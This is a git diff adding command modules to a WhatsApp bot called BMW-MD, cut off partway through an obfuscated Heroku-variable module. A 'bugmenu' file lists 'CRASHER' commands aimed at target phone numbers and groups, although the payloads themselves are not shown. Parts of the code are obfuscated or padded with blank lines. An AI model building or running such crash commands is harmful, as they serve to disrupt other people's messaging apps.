+ _0x1d9b0f += "🌍Contry : " + _0x315c2c.Country + "\n";
+ _0x1d9b0f += "🏙️Production : " + _0x315c2c.Production + "\n";
+ _0x1d9b0f += "❎imdbVotes : " + _0x315c2c.imdbVotes + "\n";
+ _0x1d9b0f += "🤠Sponsor : ©Ibrahim Adams";
+ _0x44c40c.sendMessage(_0x41a878, {
+ 'image': {
+ 'url': _0x315c2c.Poster
+ },
+ 'caption': _0x1d9b0f
+ }, {
+ 'quoted': _0x3b271c
+ });
+ } catch (_0x4a93c8) {
+ _0x111c6a("An error occurred while searching IMDb.");
+ }
+});
+adams({
+ 'nomCom': "emomix",
+ 'categorie': 'Conversion'
+}, async (_0x551458, _0x2c4778, _0x21c569) => {
+ const {
+ arg: _0x259928,
+ repondre: _0x1e8365,
+ ms: _0x4866c8,
+ nomAuteurMessage: _0x259630
+ } = _0x21c569;
+ if (!_0x259928[0x0] || _0x259928.length !== 0x1) {
+ _0x1e8365("Incorrect use. Example: .emojimix 😀;🥰");
+ return;
+ }
+ const _0x1dbdf4 = _0x259928.join(" ").split(';');
+ if (_0x1dbdf4.length !== 0x2) {
+ _0x1e8365("Please specify two emojis using a ';' as a separator.");
+ return;
+ }
+ const _0x4c4e39 = _0x1dbdf4[0x0].trim();
+ const _0x19c1b9 = _0x1dbdf4[0x1].trim();
+ try {
+ const _0x36bc47 = require("axios");
+ const _0x559df0 = await _0x36bc47.get("https://levanter.onrender.com/emix?q=" + _0x4c4e39 + _0x19c1b9);
+ if (_0x559df0.data.status === true) {
+ let _0x4ad919 = new Sticker(_0x559df0.data.result, {
+ 'pack': _0x259630,
+ 'type': StickerTypes.CROPPED,
+ 'categories': ['🤩', '🎉'],
+ 'id': '12345',
+ 'quality': 0x46,
+ 'background': "transparent"
+ });
+ const _0xab42e7 = await _0x4ad919.toBuffer();
+ _0x2c4778.sendMessage(_0x551458, {
+ 'sticker': _0xab42e7
+ }, {
+ 'quoted': _0x4866c8
+ });
+ } else {
+ _0x1e8365("Unable to create emoji mix.");
+ }
+ } catch (_0x527ade) {
+ _0x1e8365("An error occurred while creating the emoji mix." + _0x527ade);
+ }
+});
diff --git a/scs/bmweo.js b/scs/bmweo.js
new file mode 100644
index 0000000..dbf0a0d
--- /dev/null
+++ b/scs/bmweo.js
@@ -0,0 +1,1337 @@
+'use strict';
+
+Object.defineProperty(exports, '__esModule', {
+ 'value': true
+});
+const {
+ adams
+} = require("../Ibrahim/adams");
+adams({
+ 'nomCom': "repo",
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x256950, _0x3cdb38, _0x2c604e) => {
+ const _0x2f4eff = await fetch('https://api.github.com/repos/devibraah/BWM-XMD');
+ const _0x36b130 = await _0x2f4eff.json();
+ if (_0x36b130) {
+ const _0x50985d = {
+ 'stars': _0x36b130.stargazers_count,
+ 'forks': _0x36b130.forks_count,
+ 'lastUpdate': _0x36b130.updated_at,
+ 'owner': _0x36b130.owner.login
+ };
+ const _0x20cf11 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x50985d.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x50985d.stars + "\n🍴 Forks: " + _0x50985d.forks + "\n🌐 Repo: " + _0x36b130.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x3cdb38.sendMessage(_0x256950, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x20cf11
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': "git",
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x2ad97e, _0xc5957d, _0x2a01f1) => {
+ const _0x23b84a = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x54f98d = await _0x23b84a.json();
+ if (_0x54f98d) {
+ const _0x33ab65 = {
+ 'stars': _0x54f98d.stargazers_count,
+ 'forks': _0x54f98d.forks_count,
+ 'lastUpdate': _0x54f98d.updated_at,
+ 'owner': _0x54f98d.owner.login
+ };
+ const _0x305ae3 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x33ab65.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x33ab65.stars + "\n🍴 Forks: " + _0x33ab65.forks + "\n🌐 Repo: " + _0x54f98d.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS";
+ await _0xc5957d.sendMessage(_0x2ad97e, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x305ae3
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': 'sc',
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x1f8a03, _0x41191c, _0x8dd7fa) => {
+ const _0x21464f = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x3fb866 = await _0x21464f.json();
+ if (_0x3fb866) {
+ const _0x4bac21 = {
+ 'stars': _0x3fb866.stargazers_count,
+ 'forks': _0x3fb866.forks_count,
+ 'lastUpdate': _0x3fb866.updated_at,
+ 'owner': _0x3fb866.owner.login
+ };
+ const _0x58e2e9 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4bac21.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4bac21.stars + "\n🍴 Forks: " + _0x4bac21.forks + "\n🌐 Repo: " + _0x3fb866.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x41191c.sendMessage(_0x1f8a03, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x58e2e9
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+adams({
+ 'nomCom': 'script',
+ 'reaction': '📂',
+ 'nomFichier': __filename
+}, async (_0x44e4c9, _0x300ccb, _0x323299) => {
+ const _0x10746e = await fetch("https://api.github.com/repos/devibraah/BWM-XMD");
+ const _0x40fb34 = await _0x10746e.json();
+ if (_0x40fb34) {
+ const _0x4777ba = {
+ 'stars': _0x40fb34.stargazers_count,
+ 'forks': _0x40fb34.forks_count,
+ 'lastUpdate': _0x40fb34.updated_at,
+ 'owner': _0x40fb34.owner.login
+ };
+ const _0x338973 = "𝐁𝐌𝐖 𝐌𝐃 𝐆𝐈𝐓𝐇𝐔𝐁 𝐈𝐍𝐅𝐎𝐌𝐄𝐓𝐈𝐎𝐍. \n𝐂𝐑𝐄𝐓𝐄𝐃 𝐁𝐘 𝐈𝐁𝐑𝐀𝐇𝐈𝐌 𝐀𝐃𝐀𝐌𝐒.\n\n𝐒𝐓𝐀𝐑⭐ 𝐓𝐇𝐄 𝐑𝐄𝐏𝐎 𝐓𝐇𝐄𝐍 𝐅𝐎𝐑𝐊🍴\n\n📂 Repository Name: *BMW-MD*\n📝 Last Update: " + _0x4777ba.lastUpdate + "\n👤 Owner: *Ibrahim Adams*\n⭐ Stars: " + _0x4777ba.stars + "\n🍴 Forks: " + _0x4777ba.forks + "\n🌐 Repo: " + _0x40fb34.html_url + "\n⭕ For More Info : https://github.com/IBRAHIM-TECH-AI/IBRAHIM-ADAMS-INFO\n";
+ await _0x300ccb.sendMessage(_0x44e4c9, {
+ 'image': {
+ 'url': "https://telegra.ph/file/17c83719a1b40e02971e4.jpg"
+ },
+ 'caption': _0x338973
+ });
+ } else {
+ console.log("Could not fetch data");
+ }
+});
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/scs/bmweu.js b/scs/bmweu.js
new file mode 100644
index 0000000..2fe96c4
--- /dev/null
+++ b/scs/bmweu.js
@@ -0,0 +1,103 @@
+const util = require('util');
+const fs = require('fs-extra');
+const { adams } = require(__dirname + "/../Ibrahim/adams");
+const { format } = require(__dirname + "/../Ibrahim/mesfonctions");
+const os = require("os");
+const moment = require("moment-timezone");
+const s = require(__dirname + "/../config");
+const more = String.fromCharCode(8206)
+const Taphere = more.repeat(4001)
+
+adams({ nomCom: "bugmenu", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ let { ms, repondre ,prefixe,nomAuteurMessage,mybotpic} = commandeOptions;
+ let { cm } = require(__dirname + "/../Ibrahim//adams");
+ var coms = {};
+ var mode = "public";
+
+ if ((s.MODE).toLocaleLowerCase() != "yes") {
+ mode = "private";
+ }
+
+
+
+
+ cm.map(async (com, index) => {
+ if (!coms[com.categorie])
+ coms[com.categorie] = [];
+ coms[com.categorie].push(com.nomCom);
+ });
+
+ moment.tz.setDefault("Africa/Nairobi");
+
+// Créer une date et une heure en GMT
+const temps = moment().format('HH:mm:ss');
+const date = moment().format('DD/MM/YYYY');
+
+let infoMsg = `
+┏❏ ⌜ *BMW MD CRASHER* ⌟ ❐
+❐ bug
+❐ crash
+❐ loccrash
+❐ amountbug
+❐ crashbug 254XXXX
+❐ pmbug 254XXXX
+❐ delaybug 254XXXX
+❐ trollybug 254XXXX
+❐ docubug 254XXXX
+❐ unlimitedbug 254XXXX
+❐ bombug 254XXXX
+❐ lagbug 254XXXX
+❐ gcbug
+❐ delaygcbug
+❐ trollygcbug
+❐ laggcbug
+❐ bomgcbug
+❐ unlimitedgcbug
+❐ docugcbug
+
+> ⏲️ *TIME* : ${temps}
+> 📅 *DATE* : ${date} `;
+
+let menuMsg = `
+
+
+ 🄱🄼🅆-🄼🄳
+
+
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+▄▀▄▀▄▀▄▀▄▀▄▀▄▀▄
+
+> ©Ibrahim Adams projects
+
+ `;
+
+ var lien = mybotpic();
+
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis adams*, déveloper adams Tech" , gifPlayback : true }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Vérification pour .jpeg ou .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption:infoMsg + menuMsg, footer: "Je suis *adams*, déveloper adams Tech" }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+
+ repondre(infoMsg + menuMsg);
+
+}
+
+});
diff --git a/scs/bmwf.js b/scs/bmwf.js
new file mode 100644
index 0000000..4001426
--- /dev/null
+++ b/scs/bmwf.js
@@ -0,0 +1,31 @@
+const {adams}=require("../Ibrahim/adams")
+
+
+
+
+
+
+
+adams({nomCom:"restart",categorie:"Mods",reaction:"📴"},async(dest,z,com)=>{
+
+
+
+const{repondre,ms,dev,superUser}=com;
+
+ if(!superUser)
+ {
+ return repondre("This command is for owner only");
+ }
+
+ const {exec}=require("child_process")
+
+ repondre("BMW-MD bot Restarting ⏳");
+
+ exec("pm2 restart all");
+
+
+
+
+
+
+})
diff --git a/scs/bmwfet.js b/scs/bmwfet.js
new file mode 100644
index 0000000..55d9d2a
--- /dev/null
+++ b/scs/bmwfet.js
@@ -0,0 +1,63 @@
+const { adams } = require("../Ibrahim/adams");
+const { default :axios } = require("axios");
+const { mediafireDl } = require("../Ibrahim/dl/Function");
+
+adams({
+ nomCom: "fetch",
+ categorie: "Search",
+ reaction: '🛄',
+}, async (_0x34e935, _0x726ab, _0x295c2d) => {
+ const { repondre: _0x356671, arg: _0x3dfafe } = _0x295c2d;
+ const urlInput = _0x3dfafe.join(" ");
+
+ if (!/^https?:\/\//.test(urlInput)) {
+ return _0x356671("Start the *URL* with http:// or https://");
+ }
+
+ try {
+ const url = new URL(urlInput);
+ const fetchUrl = `${url.origin}${url.pathname}?${url.searchParams.toString()}`;
+ const response = await fetch(fetchUrl);
+
+ if (!response.ok) {
+ return _0x356671("Failed to fetch the URL. Status: " + response.status + " " + response.statusText);
+ }
+
+ const contentLength = response.headers.get('content-length');
+ if (contentLength && parseInt(contentLength) > 104857600) {
+ return _0x356671("Content-Length exceeds the limit: " + contentLength);
+ }
+
+ const contentType = response.headers.get('content-type');
+ console.log('Content-Type:', contentType);
+
+ const buffer = Buffer.from(await response.arrayBuffer());
+ if (/image\/.*/.test(contentType)) {
+ await _0x726ab.sendMessage(_0x34e935, {
+ image: { url: fetchUrl },
+ caption: "> > *BMW MD*"
+ }, { quoted: _0x295c2d.ms });
+ } else if (/video\/.*/.test(contentType)) {
+ await _0x726ab.sendMessage(_0x34e935, {
+ video: { url: fetchUrl },
+ caption: "> > *BMW MD*"
+ }, { quoted: _0x295c2d.ms });
+ } else if (/text|json/.test(contentType)) {
+ try {
+ const json = JSON.parse(buffer);
+ console.log("Parsed JSON:", json);
+ _0x356671(JSON.stringify(json, null, 2).slice(0, 10000));
+ } catch {
+ _0x356671(buffer.toString().slice(0, 10000));
+ }
+ } else {
+ await _0x726ab.sendMessage(_0x34e935, {
+ document: { url: fetchUrl },
+ caption: "> > *BMW MD*"
+ }, { quoted: _0x295c2d.ms });
+ }
+ } catch (error) {
+ console.error("Error fetching data:", error.message);
+ _0x356671("Error fetching data: " + error.message);
+ }
+});
diff --git a/scs/bmwh.js b/scs/bmwh.js
new file mode 100644
index 0000000..05ce377
--- /dev/null
+++ b/scs/bmwh.js
@@ -0,0 +1,94 @@
+const { adams } = require('../Ibrahim/adams');
+const {addOrUpdateDataInAlive , getDataFromAlive} = require('../lib/alive')
+const moment = require("moment-timezone");
+const s = require(__dirname + "/../config");
+
+adams(
+ {
+ nomCom : 'alive',
+ categorie : 'General'
+
+ },async (dest,zk,commandeOptions) => {
+
+ const {ms , arg, repondre,superUser} = commandeOptions;
+
+ const data = await getDataFromAlive();
+
+ if (!arg || !arg[0] || arg.join('') === '') {
+
+ if(data) {
+
+ const {message , lien} = data;
+
+
+ var mode = "public";
+ if ((s.MODE).toLocaleLowerCase() != "yes") {
+ mode = "private";
+ }
+
+
+
+ moment.tz.setDefault('Etc/GMT');
+
+// Créer une date et une heure en GMT
+const temps = moment().format('HH:mm:ss');
+const date = moment().format('DD/MM/YYYY');
+
+ const alivemsg = `
+*Owner* : ${s.OWNER_NAME}
+*Mode* : ${mode}
+*Date* : ${date}
+*Hours(GMT)* : ${temps}
+
+ ${message}
+
+
+ *BMW-MD-WABOT*`
+
+ if (lien.match(/\.(mp4|gif)$/i)) {
+ try {
+ zk.sendMessage(dest, { video: { url: lien }, caption: alivemsg }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+// Checking for .jpeg or .png
+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption: alivemsg }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+
+ repondre(alivemsg);
+
+}
+
+ } else {
+ if(!superUser) { repondre("there is no alive for this bot") ; return};
+
+ await repondre("You have not yet saved your alive, to do this; enter after alive your message and your image or video link in this context: .alive message;lien");
+ repondre("don't do fake thinks :)")
+ }
+ } else {
+
+ if(!superUser) { repondre ("Only the owner can modify the alive") ; return};
+
+
+ const texte = arg.join(' ').split(';')[0];
+ const tlien = arg.join(' ').split(';')[1];
+
+
+
+await addOrUpdateDataInAlive(texte , tlien)
+
+repondre(' Holla🥴, *BMW-MD BOT* is alive just like you gee. ')
+
+}
+ });
diff --git a/scs/bmwhrk.js b/scs/bmwhrk.js
new file mode 100644
index 0000000..79c1043
--- /dev/null
+++ b/scs/bmwhrk.js
@@ -0,0 +1,334 @@
+
+const _0x2cf381=_0x5ac8;(function(_0x462270,_0x1b791a){const _0x4348ca=_0x5ac8,_0x1220a5=_0x462270();while(!![]){try{const _0x284f60=-parseInt(_0x4348ca(0x1aa))/0x1*(-parseInt(_0x4348ca(0x19b))/0x2)+parseInt(_0x4348ca(0x181))/0x3*(parseInt(_0x4348ca(0x1c7))/0x4)+-parseInt(_0x4348ca(0x1bb))/0x5*(-parseInt(_0x4348ca(0x1ac))/0x6)+-parseInt(_0x4348ca(0x1b9))/0x7+parseInt(_0x4348ca(0x197))/0x8+-parseInt(_0x4348ca(0x180))/0x9+parseInt(_0x4348ca(0x1c8))/0xa;if(_0x284f60===_0x1b791a)break;else _0x1220a5['push'](_0x1220a5['shift']());}catch(_0x54290a){_0x1220a5['push'](_0x1220a5['shift']());}}}(_0x5439,0x711b0));function _0x5ac8(_0x431fb2,_0x7e63c9){const _0x543944=_0x5439();return _0x5ac8=function(_0x5ac8e9,_0x45054f){_0x5ac8e9=_0x5ac8e9-0x176;let _0x45bda4=_0x543944[_0x5ac8e9];return _0x45bda4;},_0x5ac8(_0x431fb2,_0x7e63c9);}function _0x5439(){const _0x49d674=['stanzaId','utf-8','heroku','patch','insert\x20the\x20variable\x20name\x20in\x20capital\x20letter','description','/apps/','2376648aNdqQw','*\x20=>\x20','../Ibrahim/adams','\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','30cBmGRI','HEROKU_APY_KEY','\x0aChoose\x20a\x20variable\x20by\x20replying\x20its\x20number','(((.+)+)+)+$','pm2\x20restart\x20all','setprefix','yes','writeFileSync','toString','log','Only\x20Mods\x20can\x20use\x20this\x20command','*Heroku\x20Vars\x20list\x20*\x0a\x0a','BOT_NAME','*Description*\x20:','Bad\x20format\x20;\x20Exemple\x20of\x20using\x20:\x0asetvar\x20OWNER_NAME=Ibrahim\x20Adams','1403OXNXtI','length','129450lSmuko','/config-vars','Error','HEROKU_APP_NAME','extendedTextMessage','sendMessage','keys','AUTO_DOWNLOAD_STATUS','message','error','key','child_process','get\x20a\x20heroku\x20var','4512963ctyWnK','nom','75RtBWvb','command\x20reserved\x20for\x20bot\x20owner','awaitForMessage','variable\x20refresh\x0a\x20restart\x20in\x20progress....','Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables','HEROKU','constructor','setvar','heroku-client','BOT_MENU_LINKS','PUBLIC_MODE','Heroku','28dcWpVB','5850420OIfFjA','map','env','STARTING_BOT_MESSAGE','split','text','warncount','\x20\x20\x20\x20*BMW\x20VAR\x20SETTINGS*\x20\x0a\x0a','join','get\x20all\x20heroku\x20vars','only\x20Mods\x20can\x20use\x20this\x20commande','contextInfo','PRESENCE','set.env','8122779LJoyMK','335883OMNmSx','PM_PERMIT','🚘\x20*','The\x20environment\x20variable\x20description\x20was\x20not\x20found.','-\x20*','Heroku\x20vars\x20are\x20rebooting\x20,\x20Redeploying....','get','edit\x20settings\x20of\x20the\x20bot','readFileSync','WARN_COUNT','variable\x20refresh,\x20restart\x20in\x20progress....','\x0a└──────\x20⋆⋅☆⋅⋆\x20──────┘\x0a\x0aPlease\x20reply\x20on\x20message\x20with\x20the\x20number\x20corresponding\x20to\x20your\x20choice','settings','search','parse'];_0x5439=function(){return _0x49d674;};return _0x5439();}const {adams}=require(_0x2cf381(0x199)),s=require('../config'),fs=require('fs'),dotenv=require('dotenv');function getDescriptionFromEnv(_0x396d52){const _0x291b1f=_0x2cf381;filePath='./app.json';const _0x8c8ee0=fs[_0x291b1f(0x189)](filePath,_0x291b1f(0x191)),_0x1fd930=JSON[_0x291b1f(0x18f)](_0x8c8ee0),_0x30138d=_0x1fd930[_0x291b1f(0x1ca)][_0x396d52];return _0x30138d&&_0x30138d['description']?_0x30138d[_0x291b1f(0x195)]:_0x291b1f(0x184);}adams({'nomCom':_0x2cf381(0x1c2),'categorie':'heroku','description':'set\x20a\x20heroku\x20var'},async(_0x4bdf5a,_0x27ad89,_0x4276d9)=>{const _0x3a29b2=_0x2cf381,{ms:_0x19e904,repondre:_0x111d17,superUser:_0x54ed3b,arg:_0x22f28d}=_0x4276d9;if(!_0x54ed3b){_0x111d17(_0x3a29b2(0x17c));return;};if(s['HEROKU_APP_NAME']==null||s[_0x3a29b2(0x19c)]==null){_0x111d17(_0x3a29b2(0x1bf));return;};if(!_0x22f28d[0x0]||!_0x22f28d['join']('')[_0x3a29b2(0x176)]('=')){_0x111d17(_0x3a29b2(0x1a9));return;};const _0x23f1e4=_0x22f28d[_0x3a29b2(0x17a)]('\x20'),_0x343480=require('heroku-client'),_0x131a18=new _0x343480({'token':s[_0x3a29b2(0x19c)]});let _0x4af6f4='/apps/'+s[_0x3a29b2(0x1af)];await _0x131a18[_0x3a29b2(0x193)](_0x4af6f4+_0x3a29b2(0x1ad),{'body':{[_0x23f1e4[_0x3a29b2(0x176)]('=')[0x0]]:_0x23f1e4['split']('=')[0x1]}}),await _0x111d17(_0x3a29b2(0x186));}),adams({'nomCom':'getallvar','categorie':'heroku','description':_0x2cf381(0x17b)},async(_0x3fcb26,_0x29194c,_0x2fcba8)=>{const _0x4899ac=_0x2cf381,{ms:_0x3b642f,repondre:_0x1378b4,superUser:_0x1677ec,arg:_0x5e7639}=_0x2fcba8;if(!_0x1677ec){_0x1378b4('only\x20mods\x20can\x20use\x20this\x20commande');return;};if(s[_0x4899ac(0x1af)]==null||s[_0x4899ac(0x19c)]==null){_0x1378b4(_0x4899ac(0x1bf));return;};const _0x542360=require('heroku-client'),_0x4cfe44=new _0x542360({'token':s[_0x4899ac(0x19c)]});let _0xde26d4='/apps/'+s[_0x4899ac(0x1af)],_0xceffee=await _0x4cfe44[_0x4899ac(0x187)](_0xde26d4+_0x4899ac(0x1ad)),_0x2e958d=_0x4899ac(0x1a6);for(vr in _0xceffee){_0x2e958d+=_0x4899ac(0x183)+vr+'*\x20'+'=\x20'+_0xceffee[vr]+'\x0a';}_0x1378b4(_0x2e958d);}),adams({'nomCom':'getvar','categorie':_0x2cf381(0x192),'description':_0x2cf381(0x1b8)},async(_0x19935c,_0x68589a,_0x222e7f)=>{const _0xc9d09f=_0x2cf381,{ms:_0x58a77f,repondre:_0x2ce9fc,superUser:_0x57592f,arg:_0x51f6ea}=_0x222e7f;if(!_0x57592f){_0x2ce9fc(_0xc9d09f(0x1a5));return;};if(s[_0xc9d09f(0x1af)]==null||s[_0xc9d09f(0x19c)]==null){_0x2ce9fc('Please\x20fill\x20in\x20the\x20HEROKU_APP_NAME\x20and\x20HEROKU_APY_KEY\x20environment\x20variables');return;};if(!_0x51f6ea[0x0]){_0x2ce9fc(_0xc9d09f(0x194));return;};try{const _0xc2d1ce=require('heroku-client'),_0x2a0369=new _0xc2d1ce({'token':s['HEROKU_APY_KEY']});let _0x46c7e7='/apps/'+s[_0xc9d09f(0x1af)],_0x4aa13d=await _0x2a0369[_0xc9d09f(0x187)](_0x46c7e7+_0xc9d09f(0x1ad));for(vr in _0x4aa13d){if(_0x51f6ea['join']('\x20')===vr)return 